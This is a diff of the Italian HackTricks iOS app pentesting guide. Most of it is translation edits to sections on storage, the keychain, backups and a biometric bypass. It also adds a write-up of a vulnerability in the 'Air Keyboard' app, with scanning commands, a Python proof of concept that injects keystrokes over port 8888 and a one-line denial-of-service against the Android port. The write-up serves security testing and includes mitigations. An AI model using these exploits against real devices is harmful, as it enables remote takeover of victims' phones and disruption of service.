@ -67,7 +67,7 @@ otool -arch all -Vl <app-binary> | grep -A5 LC_ENCRYPT # Il cryptid dovrebbe e
**Identificazione di Funzioni Sensibili/Insecure**
- **Weak Hashing Algorithms**
- **Algoritmi di Hashing Deboli**
```bash
# Sul dispositivo iOS
@ -79,7 +79,7 @@ grep -iER "_CC_MD5"
grep -iER "_CC_SHA1"
```
- **Insecure Random Functions**
- **Funzioni Random Insecure**
```bash
# Sul dispositivo iOS
@ -93,7 +93,7 @@ grep -iER "_srand"
grep -iER "_rand"
```
- **Insecure ‘Malloc’ Function**
- **Funzione ‘Malloc’ Insecure**
```bash
# Sul dispositivo iOS
@ -103,7 +103,7 @@ otool -Iv <app> | grep -w "_malloc"
grep -iER "_malloc"
```
- **Insecure and Vulnerable Functions**
- **Funzioni Insecure e Vulnerabili**
```bash
# Sul dispositivo iOS
@ -152,7 +152,7 @@ PID Name Identifier
- Camera com.apple.camera
- iGoat-Swift OWASP.iGoat-Swift
```
### Basic Enumeration & Hooking
### Enumerazione di Base & Hooking
Impara come **enumerare i componenti dell'applicazione** e come **hookare metodi e classi** con objection:
@ -160,9 +160,9 @@ Impara come **enumerare i componenti dell'applicazione** e come **hookare metodi
ios-hooking-with-objection.md
{{#endref}}
### IPA Structure
### Struttura IPA
La struttura di un **file IPA** è essenzialmente quella di un **pacchetto compresso**. Rinominando la sua estensione in `.zip`, può essere **decompresso** per rivelarne i contenuti. All'interno di questa struttura, un **Bundle** rappresenta un'applicazione completamente impacchettata pronta per l'installazione. All'interno, troverai una directory chiamata `<NAME>.app`, che racchiude le risorse dell'applicazione.
La struttura di un **file IPA** è essenzialmente quella di un **pacchetto compresso**. Rinominando la sua estensione in `.zip`, può essere **decompresso** per rivelarne i contenuti. All'interno di questa struttura, un **Bundle** rappresenta un'applicazione completamente confezionata pronta per l'installazione. All'interno, troverai una directory chiamata `<NAME>.app`, che racchiude le risorse dell'applicazione.
- **`Info.plist`**: Questo file contiene dettagli di configurazione specifici dell'applicazione.
- **`_CodeSignature/`**: Questa directory include un file plist che contiene una firma, garantendo l'integrità di tutti i file nel bundle.
@ -171,16 +171,16 @@ La struttura di un **file IPA** è essenzialmente quella di un **pacchetto compr
- **`PlugIns/`**: Questo può includere estensioni all'applicazione, note come file `.appex`, anche se non sono sempre presenti. \* [**`Core Data`**](https://developer.apple.com/documentation/coredata): Viene utilizzato per salvare i dati permanenti della tua applicazione per l'uso offline, per memorizzare dati temporanei e per aggiungere funzionalità di annullamento all'app su un singolo dispositivo. Per sincronizzare i dati su più dispositivi in un singolo account iCloud, Core Data rispecchia automaticamente il tuo schema in un contenitore CloudKit.
- [**`PkgInfo`**](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPRuntimeConfig/Articles/ConfigApplications.html): Il file `PkgInfo` è un modo alternativo per specificare i codici di tipo e creatore della tua applicazione o bundle.
- **en.lproj, fr.proj, Base.lproj**: Sono i pacchetti di lingua che contengono risorse per quelle lingue specifiche e una risorsa predefinita nel caso in cui una lingua non sia supportata.
- **Security**: La directory `_CodeSignature/` gioca un ruolo critico nella sicurezza dell'app verificando l'integrità di tutti i file inclusi attraverso firme digitali.
- **Asset Management**: Il file `Assets.car` utilizza la compressione per gestire in modo efficiente gli asset grafici, cruciale per ottimizzare le prestazioni dell'applicazione e ridurre le sue dimensioni complessive.
- **Frameworks and PlugIns**: Queste directory sottolineano la modularità delle applicazioni iOS, consentendo agli sviluppatori di includere librerie di codice riutilizzabili (`Frameworks/`) e di estendere la funzionalità dell'app (`PlugIns/`).
- **Localization**: La struttura supporta più lingue, facilitando la portata globale dell'applicazione includendo risorse per pacchetti di lingue specifiche.
- **Sicurezza**: La directory `_CodeSignature/` gioca un ruolo critico nella sicurezza dell'app verificando l'integrità di tutti i file inclusi tramite firme digitali.
- **Gestione degli Asset**: Il file `Assets.car` utilizza la compressione per gestire in modo efficiente gli asset grafici, cruciale per ottimizzare le prestazioni dell'applicazione e ridurre le sue dimensioni complessive.
- **Frameworks e PlugIns**: Queste directory sottolineano la modularità delle applicazioni iOS, consentendo agli sviluppatori di includere librerie di codice riutilizzabili (`Frameworks/`) e di estendere la funzionalità dell'app (`PlugIns/`).
- **Localizzazione**: La struttura supporta più lingue, facilitando la portata globale dell'applicazione includendo risorse per pacchetti di lingue specifiche.
**Info.plist**
Il **Info.plist** funge da pietra miliare per le applicazioni iOS, racchiudendo dati di configurazione chiave sotto forma di **coppie chiave-valore**. Questo file è un requisito non solo per le applicazioni ma anche per le estensioni delle app e i framework inclusi. È strutturato in formato XML o binario e contiene informazioni critiche che vanno dai permessi dell'app alle configurazioni di sicurezza. Per un'esplorazione dettagliata delle chiavi disponibili, si può fare riferimento alla [**Apple Developer Documentation**](https://developer.apple.com/documentation/bundleresources/information_property_list?language=objc).
Il **Info.plist** funge da pietra miliare per le applicazioni iOS, racchiudendo dati di configurazione chiave sotto forma di **coppie chiave-valore**. Questo file è un requisito non solo per le applicazioni ma anche per le estensioni delle app e i framework inclusi. È strutturato in formato XML o binario e contiene informazioni critiche che vanno dai permessi dell'app alle configurazioni di sicurezza. Per un'esplorazione dettagliata delle chiavi disponibili, si può fare riferimento alla [**Documentazione per Sviluppatori Apple**](https://developer.apple.com/documentation/bundleresources/information_property_list?language=objc).
Per coloro che desiderano lavorare con questo file in un formato più accessibile, la conversione in XML può essere effettuata senza sforzo utilizzando `plutil` su macOS (disponibile nativamente nelle versioni 10.2 e successive) o `plistutil` su Linux. I comandi per la conversione sono i seguenti:
Per coloro che desiderano lavorare con questo file in un formato più accessibile, la conversione in XML può essere effettuata facilmente utilizzando `plutil` su macOS (disponibile nativamente nelle versioni 10.2 e successive) o `plistutil` su Linux. I comandi per la conversione sono i seguenti:
- **Per macOS**:
```bash
@ -191,7 +191,7 @@ $ plutil -convert xml1 Info.plist
$ apt install libplist-utils
$ plistutil -i Info.plist -o Info_xml.plist
```
Tra la miriade di informazioni che il file **Info.plist** può rivelare, voci notevoli includono le stringhe di autorizzazione dell'app (`UsageDescription`), gli schemi URL personalizzati (`CFBundleURLTypes`) e le configurazioni per la Sicurezza del Trasporto dell'App (`NSAppTransportSecurity`). Queste voci, insieme ad altre come i tipi di documenti personalizzati esportati/importati (`UTExportedTypeDeclarations` / `UTImportedTypeDeclarations`), possono essere facilmente individuate ispezionando il file o utilizzando un semplice comando `grep`:
Tra la miriade di informazioni che il file **Info.plist** può rivelare, voci notevoli includono le stringhe di autorizzazione dell'app (`UsageDescription`), gli schemi URL personalizzati (`CFBundleURLTypes`) e le configurazioni per la Sicurezza del Trasporto delle App (`NSAppTransportSecurity`). Queste voci, insieme ad altre come i tipi di documenti personalizzati esportati/importati (`UTExportedTypeDeclarations` / `UTImportedTypeDeclarations`), possono essere facilmente individuate ispezionando il file o utilizzando un semplice comando `grep`:
```bash
$ grep -i <keyword> Info.plist
```
@ -202,7 +202,7 @@ Nell'ambiente iOS, le directory sono designate specificamente per **applicazioni
> [!WARNING]
> Poiché le applicazioni in iOS devono essere sandboxed, ogni app avrà anche una cartella all'interno di **`$HOME/Library/Containers`** con **`CFBundleIdentifier`** dell'app come nome della cartella.
>
> Tuttavia, entrambe le cartelle (cartelle dati e cartelle contenitore) hanno il file **`.com.apple.mobile_container_manager.metadata.plist`** che collega entrambi i file nella chiave `MCMetadataIdentifier`.
> Tuttavia, entrambe le cartelle (cartelle dati e cartelle contenitore) hanno il file **`.com.apple.mobile_container_manager.metadata.plist`** che collega entrambi i file nella chiave `MCMetadataIdentifier`).
Per facilitare la scoperta della directory di installazione di un'app installata dall'utente, lo strumento **objection** fornisce un comando utile, `env`. Questo comando rivela informazioni dettagliate sulla directory per l'app in questione. Di seguito è riportato un esempio di come utilizzare questo comando:
```bash
@ -230,7 +230,7 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
- Questo è il pacchetto dell'applicazione come visto prima nell'IPA, contiene dati essenziali dell'applicazione, contenuti statici e il binario compilato dell'applicazione.
- Questa directory è visibile agli utenti, ma **gli utenti non possono scriverci**.
- Il contenuto in questa directory **non è sottoposto a backup**.
- I contenuti di questa cartella sono utilizzati per **validare la firma del codice**.
- I contenuti di questa cartella sono utilizzati per **convalidare la firma del codice**.
**Directory dei dati:**
@ -371,7 +371,7 @@ ios-basics.md
### Plist
I file **plist** sono file XML strutturati che **contengono coppie chiave-valore**. È un modo per memorizzare dati persistenti, quindi a volte potresti trovare **informazioni sensibili in questi file**. È consigliato controllare questi file dopo aver installato l'app e dopo averlo utilizzato intensamente per vedere se vengono scritti nuovi dati.
I file **plist** sono file XML strutturati che **contengono coppie chiave-valore**. È un modo per memorizzare dati persistenti, quindi a volte potresti trovare **informazioni sensibili in questi file**. È consigliato controllare questi file dopo aver installato l'app e dopo averla utilizzata intensamente per vedere se nuovi dati vengono scritti.
Il modo più comune per persistere i dati nei file plist è attraverso l'uso di **NSUserDefaults**. Questo file plist è salvato all'interno della sandbox dell'app in **`Library/Preferences/<appBundleID>.plist`**
@ -379,7 +379,7 @@ La classe [`NSUserDefaults`](https://developer.apple.com/documentation/foundatio
Questi dati non possono più essere accessibili direttamente tramite un computer fidato, ma possono essere accessibili eseguendo un **backup**.
Puoi **dumpare** le informazioni salvate utilizzando **`NSUserDefaults`** con il comando `ios nsuserdefaults get` di objection.
Puoi **dumpare** le informazioni salvate utilizzando **`NSUserDefaults`** usando `ios nsuserdefaults get` di objection.
Per trovare tutti i plist utilizzati dall'applicazione, puoi accedere a `/private/var/mobile/Containers/Data/Application/{APPID}` e eseguire:
```bash
@ -436,7 +436,7 @@ NSLog(@"data stored in core data");
[YapDatabase](https://github.com/yapstudios/YapDatabase) è un archivio chiave/valore costruito su SQLite.\
Poiché i database Yap sono database sqlite, puoi trovarli utilizzando il comando proposto nella sezione precedente.
### Altri Database SQLite
### Altri database SQLite
È comune per le applicazioni creare il proprio database sqlite. Potrebbero **memorizzare** **dati** **sensibili** su di essi e lasciarli non crittografati. Pertanto, è sempre interessante controllare ogni database all'interno della directory delle applicazioni. Pertanto, vai alla directory dell'applicazione dove i dati sono salvati (`/private/var/mobile/Containers/Data/Application/{APPID}`)
```bash
@ -528,13 +528,13 @@ Questo metodo rimuoverà tutte le richieste e risposte memorizzate nella cache d
### Snapshots
Ogni volta che premi il pulsante home, iOS **prende uno snapshot dello schermo corrente** per poter effettuare la transizione all'applicazione in modo molto più fluido. Tuttavia, se sono presenti **dati** **sensibili** nello schermo corrente, verranno **salvati** nell'**immagine** (che **persiste** **attraverso** **riavvii**). Questi sono gli snapshot a cui puoi accedere anche toccando due volte la schermata home per passare tra le app.
Ogni volta che premi il pulsante home, iOS **prende uno snapshot dello schermo corrente** per poter effettuare la transizione all'applicazione in modo molto più fluido. Tuttavia, se sono presenti **dati** **sensibili** nello schermo corrente, verranno **salvati** nell'**immagine** (che **persiste** **attraverso** **riavvii**). Questi sono gli snapshot a cui puoi anche accedere toccando due volte la schermata home per passare tra le app.
A meno che l'iPhone non sia jailbroken, l'**attaccante** deve avere **accesso** al **dispositivo** **sbloccato** per vedere questi screenshot. Per impostazione predefinita, l'ultimo snapshot è memorizzato nel sandbox dell'applicazione nella cartella `Library/Caches/Snapshots/` o `Library/SplashBoard/Snapshots` (i computer fidati non possono accedere al filesystem da iOS 7.0).
Un modo per prevenire questo comportamento indesiderato è mettere uno schermo vuoto o rimuovere i dati sensibili prima di prendere lo snapshot utilizzando la funzione `ApplicationDidEnterBackground()`.
Di seguito è riportato un esempio di metodo di rimedio che imposterà uno screenshot predefinito.
Di seguito è riportato un esempio di metodo di remediation che imposterà uno screenshot predefinito.
Swift:
```swift
@ -572,7 +572,7 @@ Questo imposta l'immagine di sfondo su `overlayImage.png` ogni volta che l'appli
Per accedere e gestire il keychain iOS, sono disponibili strumenti come [**Keychain-Dumper**](https://github.com/ptoomey3/Keychain-Dumper), adatti per dispositivi jailbroken. Inoltre, [**Objection**](https://github.com/sensepost/objection) fornisce il comando `ios keychain dump` per scopi simili.
#### **Storing Credentials**
#### **Memorizzazione delle Credenziali**
La classe **NSURLCredential** è ideale per salvare informazioni sensibili direttamente nel keychain, bypassando la necessità di NSUserDefaults o altri wrapper. Per memorizzare le credenziali dopo il login, viene utilizzato il seguente codice Swift:
```swift
@ -616,7 +616,7 @@ Quando si esamina il codice sorgente dell'app per potenziali perdite, cercare si
### **Monitoring System Logs**
Le app registrano vari pezzi di informazione che possono essere sensibili. Per monitorare questi log, strumenti e comandi come:
Le app registrano vari pezzi di informazioni che possono essere sensibili. Per monitorare questi log, strumenti e comandi come:
```bash
idevice_id --list # To find the device ID
idevicesyslog -u <id> (| grep <app>) # To capture the device logs
@ -625,10 +625,10 @@ sono utili. Inoltre, **Xcode** offre un modo per raccogliere i log della console
1. Apri Xcode.
2. Collega il dispositivo iOS.
3. Naviga su **Finestra** -> **Dispositivi e Simulatori**.
3. Naviga su **Finestra** -> **Dispositivi e simulatori**.
4. Seleziona il tuo dispositivo.
5. Attiva il problema che stai investigando.
6. Usa il pulsante **Apri Console** per visualizzare i log in una nuova finestra.
6. Usa il pulsante **Apri console** per visualizzare i log in una nuova finestra.
Per un logging più avanzato, collegarsi alla shell del dispositivo e utilizzare **socat** può fornire un monitoraggio dei log in tempo reale:
```bash
@ -652,7 +652,7 @@ I file in `Documents/` e `Library/Application Support/` vengono salvati nei back
Per valutare la sicurezza del backup di un'app, inizia con il **creare un backup** utilizzando Finder, quindi localizzalo seguendo le indicazioni della [documentazione ufficiale di Apple](https://support.apple.com/en-us/HT204215). Analizza il backup per dati sensibili o configurazioni che potrebbero essere modificate per influenzare il comportamento dell'app.
Le informazioni sensibili possono essere cercate utilizzando strumenti da riga di comando o applicazioni come [iMazing](https://imazing.com). Per i backup crittografati, la presenza di crittografia può essere confermata controllando la chiave "IsEncrypted" nel file "Manifest.plist" alla radice del backup.
Le informazioni sensibili possono essere cercate utilizzando strumenti da riga di comando o applicazioni come [iMazing](https://imazing.com). Per i backup crittografati, la presenza di crittografia può essere confermata controllando la chiave "IsEncrypted" nel file "Manifest.plist" nella radice del backup.
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
@ -669,11 +669,11 @@ Per gestire i backup crittografati, gli script Python disponibili nel [repo GitH
### Modificare il Comportamento dell'App
Un esempio di modifica del comportamento dell'app attraverso modifiche ai backup è dimostrato nell'[app Bither bitcoin wallet](https://github.com/bither/bither-ios), dove il PIN di blocco dell'interfaccia utente è memorizzato all'interno di `net.bither.plist` sotto la chiave **pin_code**. Rimuovendo questa chiave dal plist e ripristinando il backup si rimuove il requisito del PIN, fornendo accesso illimitato.
Un esempio di modifica del comportamento dell'app attraverso modifiche al backup è dimostrato nell'[app Bither bitcoin wallet](https://github.com/bither/bither-ios), dove il PIN di blocco dell'interfaccia utente è memorizzato all'interno di `net.bither.plist` sotto la chiave **pin_code**. Rimuovendo questa chiave dal plist e ripristinando il backup si rimuove il requisito del PIN, fornendo accesso illimitato.
## Riepilogo sul Test della Memoria per Dati Sensibili
Quando si tratta di informazioni sensibili memorizzate nella memoria di un'applicazione, è fondamentale limitare il tempo di esposizione di questi dati. Ci sono due approcci principali per investigare il contenuto della memoria: **creare un dump della memoria** e **analizzare la memoria in tempo reale**. Entrambi i metodi presentano le proprie sfide, inclusa la possibilità di perdere dati critici durante il processo di dump o analisi.
Quando si tratta di informazioni sensibili memorizzate nella memoria di un'applicazione, è fondamentale limitare il tempo di esposizione di questi dati. Ci sono due approcci principali per investigare il contenuto della memoria: **creare un dump della memoria** e **analizzare la memoria in tempo reale**. Entrambi i metodi presentano le loro sfide, inclusa la possibilità di perdere dati critici durante il processo di dump o analisi.
## **Recuperare e Analizzare un Dump della Memoria**
@ -708,13 +708,13 @@ Alcuni sviluppatori salvano dati sensibili nello storage locale e li crittografa
### Use of Insecure and/or Deprecated Algorithms
Gli sviluppatori non dovrebbero utilizzare **algoritmi deprecati** per eseguire **controlli** di autorizzazione, **memorizzare** o **inviare** dati. Alcuni di questi algoritmi sono: RC4, MD4, MD5, SHA1... Se i **hash** vengono utilizzati per memorizzare le password, ad esempio, dovrebbero essere utilizzati hash resistenti al brute-force con sale.
Gli sviluppatori non dovrebbero utilizzare **deprecated algorithms** per eseguire **checks** di autorizzazione, **store** o **send** dati. Alcuni di questi algoritmi sono: RC4, MD4, MD5, SHA1... Se i **hashes** vengono utilizzati per memorizzare le password, ad esempio, dovrebbero essere utilizzati **hashes** resistenti al brute-force con sale.
### Check
I principali controlli da eseguire sono per verificare se puoi trovare **password/segreti hardcoded** nel codice, o se sono **predicibili**, e se il codice sta utilizzando qualche tipo di algoritmi di **crittografia** **debole**.
I principali controlli da eseguire sono per verificare se puoi trovare **hardcoded** password/segreti nel codice, o se sono **predictable**, e se il codice sta utilizzando qualche tipo di algoritmi di **weak** **cryptography**.
È interessante sapere che puoi **monitorare** alcune **librerie** **crypto** automaticamente utilizzando **objection** con:
È interessante sapere che puoi **monitor** alcune **crypto** **libraries** automaticamente utilizzando **objection** con:
```swift
ios monitor crypt
```
@ -724,7 +724,7 @@ Per **maggiori informazioni** sulle API e le librerie crittografiche iOS, accedi
L'**autenticazione locale** gioca un ruolo cruciale, specialmente quando si tratta di proteggere l'accesso a un endpoint remoto attraverso metodi crittografici. L'essenza qui è che senza una corretta implementazione, i meccanismi di autenticazione locale possono essere elusi.
Il [**framework di Autenticazione Locale**](https://developer.apple.com/documentation/localauthentication) di Apple e il [**keychain**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html) forniscono API robuste per consentire ai sviluppatori di facilitare i dialoghi di autenticazione degli utenti e gestire in modo sicuro i dati segreti, rispettivamente. Il Secure Enclave protegge l'ID delle impronte digitali per Touch ID, mentre Face ID si basa sul riconoscimento facciale senza compromettere i dati biometrici.
Il [**framework di Autenticazione Locale**](https://developer.apple.com/documentation/localauthentication) di Apple e il [**keychain**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html) forniscono API robuste per gli sviluppatori per facilitare i dialoghi di autenticazione degli utenti e gestire in modo sicuro i dati segreti, rispettivamente. Il Secure Enclave protegge l'ID delle impronte digitali per Touch ID, mentre Face ID si basa sul riconoscimento facciale senza compromettere i dati biometrici.
Per integrare Touch ID/Face ID, gli sviluppatori hanno due scelte API:
@ -745,11 +745,11 @@ Un'autenticazione riuscita è indicata da un valore di ritorno booleano da **`ev
### Autenticazione Locale utilizzando il Keychain
Implementare l'**autenticazione locale** nelle app iOS comporta l'uso delle **API del keychain** per memorizzare in modo sicuro i dati segreti come i token di autenticazione. Questo processo garantisce che i dati possano essere accessibili solo dall'utente, utilizzando il proprio codice di accesso del dispositivo o l'autenticazione biometrica come Touch ID.
Implementare l'**autenticazione locale** nelle app iOS comporta l'uso delle **API del keychain** per memorizzare in modo sicuro dati segreti come i token di autenticazione. Questo processo garantisce che i dati possano essere accessibili solo dall'utente, utilizzando il proprio codice di accesso del dispositivo o l'autenticazione biometrica come Touch ID.
Il keychain offre la possibilità di impostare elementi con l'attributo `SecAccessControl`, che limita l'accesso all'elemento fino a quando l'utente non si autentica con successo tramite Touch ID o codice di accesso del dispositivo. Questa funzionalità è cruciale per migliorare la sicurezza.
Di seguito sono riportati esempi di codice in Swift e Objective-C che dimostrano come salvare e recuperare una stringa dal/al keychain, sfruttando queste funzionalità di sicurezza. Gli esempi mostrano specificamente come impostare il controllo degli accessi per richiedere l'autenticazione Touch ID e garantire che i dati siano accessibili solo sul dispositivo su cui sono stati impostati, a condizione che sia configurato un codice di accesso del dispositivo.
Di seguito sono riportati esempi di codice in Swift e Objective-C che dimostrano come salvare e recuperare una stringa dal/al keychain, sfruttando queste funzionalità di sicurezza. Gli esempi mostrano specificamente come impostare il controllo degli accessi per richiedere l'autenticazione Touch ID e garantire che i dati siano accessibili solo sul dispositivo su cui sono stati configurati, a condizione che sia configurato un codice di accesso del dispositivo.
{{#tabs}}
{{#tab name="Swift"}}
@ -891,7 +891,7 @@ Se viene utilizzato `Security.framework`, solo il secondo verrà mostrato.
#### **Objection**
Attraverso il **Bypass Biometrics di Objection**, situato a [questa pagina di GitHub](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass), è disponibile una tecnica per superare il meccanismo di **LocalAuthentication**. Il nucleo di questo approccio implica l'uso di **Frida** per manipolare la funzione `evaluatePolicy`, assicurando che restituisca costantemente un risultato `True`, indipendentemente dal reale successo dell'autenticazione. Questo è particolarmente utile per eludere processi di autenticazione biometrica difettosi.
Attraverso il **Bypass Biometrics di Objection**, situato a [questa pagina GitHub](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass), è disponibile una tecnica per superare il meccanismo di **LocalAuthentication**. Il nucleo di questo approccio implica l'uso di **Frida** per manipolare la funzione `evaluatePolicy`, assicurando che restituisca costantemente un risultato `True`, indipendentemente dal reale successo dell'autenticazione. Questo è particolarmente utile per eludere processi di autenticazione biometrica difettosi.
Per attivare questo bypass, viene impiegato il seguente comando:
```bash
@ -1056,7 +1056,13 @@ Per identificare le librerie utilizzate da un'applicazione, il comando **`otool`
```bash
otool -L <application_path>
```
## **Riferimenti e Altre Risorse**
## Vulnerabilità Interessanti & Casi Studio
{{#ref}}
air-keyboard-remote-input-injection.md
{{#endref}}
## **Riferimenti & Altre Risorse**
- [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06b-basic-security-testing#information-gathering](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06b-basic-security-testing#information-gathering)
- [iOS & Mobile App Pentesting - INE](https://my.ine.com/CyberSecurity/courses/089d060b/ios-mobile-app-pentesting)
@ -1084,5 +1090,4 @@ otool -L <application_path>
- [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS)
- [https://github.com/nabla-c0d3/ssl-kill-switch2](https://github.com/nabla-c0d3/ssl-kill-switch2)
{{#include ../../banners/hacktricks-training.md}}

91
src/mobile-pentesting/ios-pentesting/air-keyboard-remote-input-injection.md Normal file
View File

@ -0,0 +1,91 @@
# Air Keyboard Remote Input Injection (Listener TCP non autenticato)
{{#include ../../banners/hacktricks-training.md}}
## TL;DR
La versione iOS dell'applicazione commerciale "Air Keyboard" (ID App Store 6463187929) apre un **servizio TCP in chiaro sulla porta 8888** che accetta frame di tasti **senza alcuna autenticazione**. Qualsiasi dispositivo sulla stessa rete Wi-Fi può connettersi a quella porta e iniettare input da tastiera arbitrari nel telefono della vittima, ottenendo **un completo dirottamento dell'interazione remota**.
Una build Android complementare ascolta sulla **porta 55535**. Esegue un debole handshake AES-ECB, ma dati malformati causano un **eccezione non gestita nella routine di decrittazione OpenSSL**, causando il crash del servizio in background (**DoS**).
## 1. Scoperta del Servizio
Scansiona la rete locale e cerca le due porte fisse utilizzate dalle app:
```bash
# iOS (input-injection)
nmap -p 8888 --open 192.168.1.0/24
# Android (weakly-authenticated service)
nmap -p 55535 --open 192.168.1.0/24
```
Su dispositivi Android puoi identificare il pacchetto responsabile localmente:
```bash
adb shell netstat -tulpn | grep 55535 # no root required on emulator
# rooted device / Termux
netstat -tulpn | grep LISTEN
ls -l /proc/<PID>/cmdline # map PID → package name
```
## 2. Formato del Frame (iOS)
Il binario rivela la seguente logica di parsing all'interno della routine `handleInputFrame()`:
```
[length (2 bytes little-endian)]
[device_id (1 byte)]
[payload ASCII keystrokes]
```
La lunghezza dichiarata include il byte `device_id` **ma non** l'intestazione di due byte stessa.
## 3. Exploitation PoC
```python
#!/usr/bin/env python3
"""Inject arbitrary keystrokes into Air Keyboard for iOS"""
import socket, sys
target_ip = sys.argv[1] # e.g. 192.168.1.50
keystrokes = b"open -a Calculator\n" # payload visible to the user
frame = bytes([(len(keystrokes)+1) & 0xff, (len(keystrokes)+1) >> 8])
frame += b"\x01" # device_id = 1 (hard-coded)
frame += keystrokes
with socket.create_connection((target_ip, 8888)) as s:
s.sendall(frame)
print("Injected", keystrokes)
```
Qualsiasi ASCII stampabile (inclusi `\n`, `\r`, tasti speciali, ecc.) può essere inviato, concedendo effettivamente all'attaccante lo stesso potere dell'input utente fisico: avviare app, inviare messaggi, visitare URL di phishing, ecc.
## 4. Android Companion – Denial-of-Service
La porta Android (55535) si aspetta una password di 4 caratteri crittografata con una **chiave AES-128-ECB hard-coded** seguita da un nonce casuale. Gli errori di parsing risalgono a `AES_decrypt()` e non vengono catturati, terminando il thread del listener. Un singolo pacchetto malformato è quindi sufficiente per mantenere gli utenti legittimi disconnessi fino a quando il processo non viene rilanciato.
```python
import socket
socket.create_connection((victim, 55535)).send(b"A"*32) # minimal DoS
```
## 5. Causa Radice
1. **Nessun controllo di origine / integrità** sui frame in arrivo (iOS).
2. **Uso improprio della crittografia** (chiave statica, ECB, mancanza di validazione della lunghezza) e **mancanza di gestione delle eccezioni** (Android).
## 6. Mitigazioni e Idee di Indurimento
* Non esporre servizi non autenticati su un dispositivo mobile.
* Derivare segreti per dispositivo durante l'onboarding e verificarli prima di elaborare l'input.
* Legare il listener a `127.0.0.1` e utilizzare un trasporto crittografato e autenticato reciprocamente (ad es., TLS, Noise) per il controllo remoto.
* Rilevare porte aperte inaspettate durante le revisioni di sicurezza mobile (`netstat`, `lsof`, `frida-trace` su `socket()` ecc.).
* Come utente finale: disinstallare Air Keyboard o utilizzarlo solo su reti Wi-Fi fidate e isolate.
## Scheda di Rilevamento (Pentester)
```bash
# Quick one-liner to locate vulnerable devices in a /24
nmap -n -p 8888,55535 --open 192.168.1.0/24 -oG - | awk '/Ports/{print $2,$3,$4}'
# Inspect running sockets on a connected Android target
adb shell "for p in $(lsof -PiTCP -sTCP:LISTEN -n -t); do echo -n \"$p → "; cat /proc/$p/cmdline; done"
```
## Riferimenti
- [Vulnerabilità di Iniezione di Input Remoto nell'App Air Keyboard iOS Ancora Non Risolta](https://www.mobile-hacker.com/2025/07/17/remote-input-injection-vulnerability-in-air-keyboard-ios-app-still-unpatched/)
- [Avviso CXSecurity WLB-2025060015](https://cxsecurity.com/issue/WLB-2025060015)
{{#include ../../banners/hacktricks-training.md}}